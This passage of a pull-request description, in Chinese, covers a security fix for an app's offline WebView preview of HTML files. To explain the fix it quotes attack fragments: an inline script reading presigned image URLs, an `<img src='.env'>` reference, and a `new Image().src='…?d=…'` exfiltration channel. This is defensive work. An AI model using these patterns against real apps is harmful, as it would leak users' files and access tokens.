..需要先定义「逃到哪层还算安全」,那是独立的边界决定,本 PR 不做。影响与回滚
apps/mobile(文件预览页 + 两个新模块 + 3 个 i18n key)。桌面端零改动,共享层零改动。
也容易:把
<HtmlFileReader html={htmlResources.html}>换回state.content,立刻退回feat(mobile): HTML 生成物在手机端进渲染态(WebView 离线沙箱) #1441 的行为(自包含页面照常,多文件缺资源)。
提交前检查
git commit -s,见 DCO)useHtmlLocalResources 的状态语义与「为什么抽纯函数」、预览页的通道选择理由)
Review 修复(本轮)
安全(P1,Codex + Greptile 各报一次):签名地址不得进可执行页面。 原实现把同目录资源的
预签名地址回填进 DOM,而渲染态保留 JavaScript —— 内联脚本可读
img.src再以 no-cors 外发,第三方即可在有效期内下载该被控端文件;
<img src=".env">这类引用会把同目录任意文件变成可外传的 bearer URL。我在原描述里写的「权限面比桌面更小」是自我说服,这条确实是本 PR 引入的
漏洞。两层修:
data:URI 再回填(downloadRemoteMediaAsDataUri),单资源 2 MiB 上限,MIME 按扩展名白名单给准(表外类型含音视频一律不改写 —— 整份内联会
撑爆内存;
.env这类也因此被挡)。htmlPreviewCsp,注入default-src 'none'+ 资源只放行data:connect-src 'none'+form-action 'none',挂在渲染载体上,任何进 WebView 的 HTML 都带策略。
刻意接受的代价:公网 https 图片与字体在预览里不再加载。 放行
img-src https:等于留new Image().src='…?d=…'这条经典外传通道,会让上面第 2 条形同虚设。预览态因此是完全离线渲染的 —— 这也修正了原描述里「公网图片正常显示」的说法。
SSH(P2):资源取件的
xdt-file://补sessionId/remoteHostId/workdir(三项齐备才拼,与被控端完整性校验同口径),并进取件缓存键(同一路径在不同远端主机上是不同文件)。
CI 红为既有基线问题,不在本 PR 修:Windows unit tests 的失败用例是
src/renderer/voice-input/__tests__/VoiceInputSection.recordingGate.test.ts,已由 issue #1448记录「在 main 上稳定失败(疑与 CRLF 检出有关)」,另有修复 PR #1440 与维护者确认 #1444。
本 PR 只改
apps/mobile,不可能影响桌面 renderer 的该用例;该用例本地全绿。本轮新增用例:CSP 策略内容与注入位置(含 doctype 不得被挤后导致 quirks mode)、MIME 白名单
正反例、「签名地址不得回填」与「SSH 上下文必须齐备」的接线守卫。
pnpm test:unit与pnpm --filter mobile typecheck全绿。